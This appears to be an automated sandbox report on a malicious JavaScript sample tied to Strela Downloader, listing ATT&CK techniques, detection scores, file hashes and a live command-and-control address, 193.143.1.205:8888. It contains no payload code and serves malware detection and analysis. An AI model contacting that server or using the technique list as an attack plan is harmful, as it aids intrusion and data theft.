Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
10965191911914222758.js	3%	Virustotal		Browse
10965191911914222758.js	0%	ReversingLabs

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/=	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
bg.microsoft.map.fastly.net	199.232.210.172	true	false	high
default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	217.20.57.18	true	false	high
x1.i.lencr.org	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/Prod.C:	edb.log.9.dr, qmgr.db.9.dr	false		high
http://crl.ver)	svchost.exe, 00000009.00000002.3700177268.0000015C3EE00000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2.C:	svchost.exe, 00000009.00000003.2459388025.0000015C3F000000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	false		high
https://www.adobe.co	ReaderMessages.5.dr	false		high
http://193.143.1.205:8888/	net.exe, 00000007.00000002.2461120025.0000024F9901D000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2463309532.0000024F9903D000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2461006712.0000024F98FF0000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2457470441.0000024F9903B000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2457645799.0000024F9901D000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/space	net.exe, 00000007.00000002.2461006712.0000024F98FF0000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/=	net.exe, 00000007.00000002.2461120025.0000024F9901D000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2457645799.0000024F9901D000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588228
Start date and time:	2025-01-10 22:50:34 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 18s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	17
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	10965191911914222758.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/57@3/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 2.23.240.205, 52.22.41.97, 3.219.243.226, 52.6.155.20, 3.233.129.217, 162.159.61.3, 172.64.41.3, 2.23.242.162, 217.20.57.18, 2.16.168.107, 2.16.168.105, 23.209.209.135, 2.22.242.11, 2.22.242.123, 52.149.20.212, 104.126.112.182, 13.107.246.45
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
16:51:39	API Interceptor	24x Sleep call for process: powershell.exe modified
16:51:43	API Interceptor	1x Sleep call for process: net.exe modified
16:51:43	API Interceptor	2x Sleep call for process: svchost.exe modified
16:51:56	API Interceptor	3x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	137112093815427392.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	16529230753138817875.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1632322273251213172.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2305511452193571644.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	133313712272908537.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1667730710460316051.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2609231882173488714.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	11057252552282120022.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	3039412363370818030.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	160370701202011504.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	2305511452193571644.js	Get hash	malicious	Strela Downloader	Browse	84.201.210.39
	133313712272908537.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.25
	1667730710460316051.js	Get hash	malicious	Strela Downloader	Browse	84.201.210.35
	11057252552282120022.js	Get hash	malicious	Strela Downloader	Browse	84.201.210.37
	1071116915318159767.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.37
	2832817159901627624.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.37
	86328271623317904.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.23
	984279432356016169.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.20
	7bAMuw5ono.exe	Get hash	malicious	Unknown	Browse	217.20.57.18
	741645402364914803.js	Get hash	malicious	Strela Downloader	Browse	84.201.210.36
bg.microsoft.map.fastly.net	16529230753138817875.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	2305511452193571644.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	1667730710460316051.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	2609231882173488714.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	11057252552282120022.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	3039412363370818030.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	160370701202011504.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	206038195771531175.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	273371081152046820.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	11267230832782128009.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	137112093815427392.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	16529230753138817875.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1632322273251213172.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	32489123841084027785.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2305511452193571644.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	boatnet.arm.elf	Get hash	malicious	Unknown	Browse	193.143.1.54
	133313712272908537.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1667730710460316051.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2609231882173488714.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	23614810137024152.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7722488531228184
Encrypted:	false
SSDEEP:	1536:pJNVxIssjfjonQaKQA0bTMe0bS0bfQJZfhcZyPzJ0iDub69OGd+lJzZgSsrEGTWZ:pJV3wb7cOrGqXuT72iIa5lzG
MD5:	A320882941645DAE92B363E600666E96
SHA1:	D065D3433FBD175886F72048988C134EF727AC72
SHA-256:	3E527FE419980CF0D7B7C761DB6715EF0474EAE07B8724247A8FEBFABCCC1764
SHA-512:	C60A60626C2B954D7208687F00675E72953322218E9A6A6DC3791CE412B99FF64421E2576C6BE3077C28953C9E33F618FF1670026E6C285DDC4CB16079AB79A8
Malicious:	false
Preview:	.{..........@..@.....{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@...................... ...........4...Bv=.#.........`h.................h.!.....6.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x07c6ce45, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.781639410282342
Encrypted:	false
SSDEEP:	1536:5SB2ESB2SSjlK/dviQJ5dyDkZA0bVQJOYkr3g16xz2UPkLk+k0KQRkjskjD+qaN4:5azanvxugz2UESQ
MD5:	F874928608E64A8509DA72F3C2FA41CC
SHA1:	E83870C17761136D4C94C1706D6638D604480F6D
SHA-256:	95BCA06E2C344058F5CA377022FF68047218A404DBECAD01CDAFBB8AFA8151CD
SHA-512:	B161BA498B87E1C884B3D6210A5EB521CDF1283F2CDA2968F8BE71EA7DEE28A0D858FD789847B20319C429E0609DD9DE2C0A8E5A557D5E6333919B3DF71A14A0
Malicious:	false
Preview:	...E... .......J.......X\...;...{......................0.o..........{%.+3...}o.h.q.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ............{...............................................................................................................................................................................................2...{..................................(b]6+3...}..................\u@.+3...}o..........................#......h.q.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07835854465889881
Encrypted:	false
SSDEEP:	3:b5lXKYe5fknvRpgvflntSlsVlBcX/Uu8YKv/lllall12St/ll/SnPK/t:N1Kz5fsvY1tWsPivUhnvtlAjlf
MD5:	5F4BD1CB4982D62744318AE362FADE95
SHA1:	F9D6498E49FA945A0F3CBAFD854E430116B4E526
SHA-256:	10AEA4D7E3CFB13E619693FFEFC8130E290B78D28259B0E131E9EA8FAEAE1A12
SHA-512:	D46DC62600D8303019571EE0AE8EFA33A7222F25AE5F1D5AA0225C490BDA32953E4CF144EE3D16C645F51E355F8F9C353189FD487C31A12891FB330A1C021101
Malicious:	false
Preview:	.')......................................;...{..+3...}o......{%..............{%......{%.d........{%.................\u@.+3...}o.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.1814668866633
Encrypted:	false
SSDEEP:	6:iO4H2VM1FN+q2Pv2nKuAl9OmbnIFUtSH2VOWZmwsH2VAQiVkwOv2nKuAl9OmbjLJ:7hQFN+v2HAahFUtfOW/lAQiV5bHAaSJ
MD5:	35BCEFBC419B72B0330AC42710C7BD57
SHA1:	EEBFA847BEE308820D5EFD51232E82A9C517910B
SHA-256:	2A78359BEAC0517AF687FDE36DF7E4758B62B3BE480B8C4808623E9251A0831D
SHA-512:	1F0B43C9979C21B86A83AEF99037EAF062A5890EFD356904155BD5768793CAFFCA889B2741921A37437BB005D06472DAF08F9702D543424BDB1BB3FCA23B3007
Malicious:	false
Preview:	2025/01/10-16:51:43.400 185c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-16:51:43.403 185c Recovering log #3.2025/01/10-16:51:43.404 185c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.1814668866633
Encrypted:	false
SSDEEP:	6:iO4H2VM1FN+q2Pv2nKuAl9OmbnIFUtSH2VOWZmwsH2VAQiVkwOv2nKuAl9OmbjLJ:7hQFN+v2HAahFUtfOW/lAQiV5bHAaSJ
MD5:	35BCEFBC419B72B0330AC42710C7BD57
SHA1:	EEBFA847BEE308820D5EFD51232E82A9C517910B
SHA-256:	2A78359BEAC0517AF687FDE36DF7E4758B62B3BE480B8C4808623E9251A0831D
SHA-512:	1F0B43C9979C21B86A83AEF99037EAF062A5890EFD356904155BD5768793CAFFCA889B2741921A37437BB005D06472DAF08F9702D543424BDB1BB3FCA23B3007
Malicious:	false
Preview:	2025/01/10-16:51:43.400 185c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-16:51:43.403 185c Recovering log #3.2025/01/10-16:51:43.404 185c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.162212317500601
Encrypted:	false
SSDEEP:	6:iO4Hv4Qyq2Pv2nKuAl9Ombzo2jMGIFUtSHvYG1ZmwsHvYQRkwOv2nKuAl9Ombzos:7M4Qyv2HAa8uFUtXg/1QR5bHAa8RJ
MD5:	779E24976CC3E5B1D74D2C3121167147
SHA1:	5255C83514D7B7206CA985513B35DEF51BE1312E
SHA-256:	7F77161C747488B793ACC3D55635EA7390C31443FA2A378C4EB4768D7ABCED84
SHA-512:	31CE2038EE39006BE0CB1BBE52647C54C8B7B85F910E6A24DA5934EAB492E7E773CEA10AC774853CCD1386C550A9260ACB03D525E175DD9606EC4CAEA94569C9
Malicious:	false
Preview:	2025/01/10-16:51:43.519 1690 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-16:51:43.520 1690 Recovering log #3.2025/01/10-16:51:43.520 1690 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.162212317500601
Encrypted:	false
SSDEEP:	6:iO4Hv4Qyq2Pv2nKuAl9Ombzo2jMGIFUtSHvYG1ZmwsHvYQRkwOv2nKuAl9Ombzos:7M4Qyv2HAa8uFUtXg/1QR5bHAa8RJ
MD5:	779E24976CC3E5B1D74D2C3121167147
SHA1:	5255C83514D7B7206CA985513B35DEF51BE1312E
SHA-256:	7F77161C747488B793ACC3D55635EA7390C31443FA2A378C4EB4768D7ABCED84
SHA-512:	31CE2038EE39006BE0CB1BBE52647C54C8B7B85F910E6A24DA5934EAB492E7E773CEA10AC774853CCD1386C550A9260ACB03D525E175DD9606EC4CAEA94569C9
Malicious:	false
Preview:	2025/01/10-16:51:43.519 1690 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-16:51:43.520 1690 Recovering log #3.2025/01/10-16:51:43.520 1690 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\311a245f-8507-4c1d-94bf-a8003d2fb8de.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	476
Entropy (8bit):	4.968693153990804
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqsksBdOg2Hgcaq3QYiubPP7E4T3y:Y2sRdsZJdMHL3QYhbH7nby
MD5:	D999A627FCAD7DBFE3CAA6951EBCA0D7
SHA1:	AE2D620C3CBD09959874105CD86097C64355A800
SHA-256:	A032DBF23A8DCFBF4D87372EDA048CDB505F5270882D8270C122DB2E91F6BFEF
SHA-512:	8D0D3289D061CBB743DDEE04339270355941726C00EF116ABC49BDC871D29EDC4CF35D417538D0070763295F0F7A86F1B6E9416A696E3575769D5530C85BF86C
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381105916140855","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":138372},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.12","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	476
Entropy (8bit):	4.968693153990804
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqsksBdOg2Hgcaq3QYiubPP7E4T3y:Y2sRdsZJdMHL3QYhbH7nby
MD5:	D999A627FCAD7DBFE3CAA6951EBCA0D7
SHA1:	AE2D620C3CBD09959874105CD86097C64355A800
SHA-256:	A032DBF23A8DCFBF4D87372EDA048CDB505F5270882D8270C122DB2E91F6BFEF
SHA-512:	8D0D3289D061CBB743DDEE04339270355941726C00EF116ABC49BDC871D29EDC4CF35D417538D0070763295F0F7A86F1B6E9416A696E3575769D5530C85BF86C
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381105916140855","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":138372},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.12","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	3878
Entropy (8bit):	5.2169424519483
Encrypted:	false
SSDEEP:	96:GQux1TtQoLOdBrjx5uaLOKhtr8OU8tZdUtFuHHoQHPT5AvYDg:zux1TNOdBrjxQIOK/4OvZdUPuHHoQHPi
MD5:	E64D05D8E8CCBA583D7A9E4091DDD65C
SHA1:	656013A388DC883F2FAAC999A1AB61E192FFB3F4
SHA-256:	F39ADF7225AA961D40233956A7197EA2FDAE92F02E207DD2D884D283D0445C66
SHA-512:	741FC23C999C10649BFACA4741B4CFF17C58A55B93BA25CB4E441039E57DD1C1D92DD82AC606F8330C98D62C83CA4B117C4BC211C8D1B5B76B04E74991231082
Malicious:	false
Preview:	*...#................version.1..namespace-....o................next-map-id.1.Pnamespace-7e305c39_d2cf_4529_a05a_c594b19b130d-https://rna-resource.acrobat.com/.08..ur................next-map-id.2.Snamespace-3b7a0125_ffe4_43e4_9267_9114e9bd4ef0-https://rna-v2-resource.acrobat.com/.1..kr................next-map-id.3.Snamespace-b5707108_0a77_4f86_8085_b3b780fa5fd7-https://rna-v2-resource.acrobat.com/.2a60.o................next-map-id.4.Pnamespace-706bf942_8f67_4abb_a866_2428106408be-https://rna-resource.acrobat.com/.3....^...............Pnamespace-7e305c39_d2cf_4529_a05a_c594b19b130d-https://rna-resource.acrobat.com/$...r................next-map-id.5.Snamespace-8636f107_899a_42b0_9217_ddfd773d1c84-https://rna-v2-resource.acrobat.com/.4..p.r................next-map-id.6.Snamespace-7b9f8588_400e_4560_9274_0b14323a49a1-https://rna-v2-resource.acrobat.com/.5]..ro................next-map-id.7.Pnamespace-c8af9c4a_d01c_48c1_9e5d_35b6c87a8d52-https://rna-resource.acrobat.com/.6...uo..............

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.221591143015146
Encrypted:	false
SSDEEP:	6:iO4H3Qyq2Pv2nKuAl9OmbzNMxIFUtSHwkSG1ZmwsHhQRkwOv2nKuAl9OmbzNMFLJ:7qQyv2HAa8jFUtOSg/QQR5bHAa84J
MD5:	B7B96322A0232D4F3966F161EAC54D2D
SHA1:	AD77AEE02AEC685606DBD7EC7279986FFB9EFDB9
SHA-256:	EC105C0A573CC826B81CEBF18FB438E0F00C461D66254EEDD6E278769A6884E9
SHA-512:	F678CFEFABAC2988983310C05CF9CB6DC07560044CF2429127A7BC6E7CB902475C080916F26BFCB1BA72BE74C626B0EB12897616FF4FD325FC16104F608B6F1E
Malicious:	false
Preview:	2025/01/10-16:51:43.772 1690 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-16:51:43.773 1690 Recovering log #3.2025/01/10-16:51:43.774 1690 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.221591143015146
Encrypted:	false
SSDEEP:	6:iO4H3Qyq2Pv2nKuAl9OmbzNMxIFUtSHwkSG1ZmwsHhQRkwOv2nKuAl9OmbzNMFLJ:7qQyv2HAa8jFUtOSg/QQR5bHAa84J
MD5:	B7B96322A0232D4F3966F161EAC54D2D
SHA1:	AD77AEE02AEC685606DBD7EC7279986FFB9EFDB9
SHA-256:	EC105C0A573CC826B81CEBF18FB438E0F00C461D66254EEDD6E278769A6884E9
SHA-512:	F678CFEFABAC2988983310C05CF9CB6DC07560044CF2429127A7BC6E7CB902475C080916F26BFCB1BA72BE74C626B0EB12897616FF4FD325FC16104F608B6F1E
Malicious:	false
Preview:	2025/01/10-16:51:43.772 1690 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-16:51:43.773 1690 Recovering log #3.2025/01/10-16:51:43.774 1690 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 11, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.438562737619775
Encrypted:	false
SSDEEP:	384:ye1ci5G1iBA7vEmzKNURFXoD1NC1SK0gkzPlrFzqFK/WY+lUTTcKqZ5bEmzVz:S5urVgazUpUTTGt
MD5:	FBB5BDE11689B811BAF68E424051FC64
SHA1:	AF7F4A05E7D6DAD23C2CA4C0F12C1DE9DA38E22E
SHA-256:	32DB9DAFAF2FAAEF40D4F45B2F5B7AE8672B93764DE1559D6DCBBAE0BB6393E2
SHA-512:	AA25AB8AB1D40AD9AFC104DAC0C558E3E8FBD964E8B4C6C6357DC3B8D5DEADB9F2E9B5D0D09DA9B7E6C084437BCF6087C72599100D3C9D9589B623A5306E0082
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.7647471472366925
Encrypted:	false
SSDEEP:	48:7M4JioyVRioyhoy1C7oy16oy1PKOioy1noy1AYoy1Wioy1oioykioyBoy1noy1OX:7vJuR3+XjBieRb9IVXEBodRBkn
MD5:	F4DF012D18A474433FE6BC8790D0B73C
SHA1:	58A44E87815059C62B8A89717A389FEB405EA86A
SHA-256:	40D599F2AF20AD3B3A711B4B94DA72B725BC0E28701C3CECA24FE22FCC7718E5
SHA-512:	8B5A9E3E61E579CAAB8F07C8370C9CB012AB20BED8CA7529644EB9625BFCB57C6C45B95F64FAF937EC7093AE3752A183184CACDB46BE214B450D78EFC5B82577
Malicious:	false
Preview:	.... .c......6n4...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b.r.l...t...}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
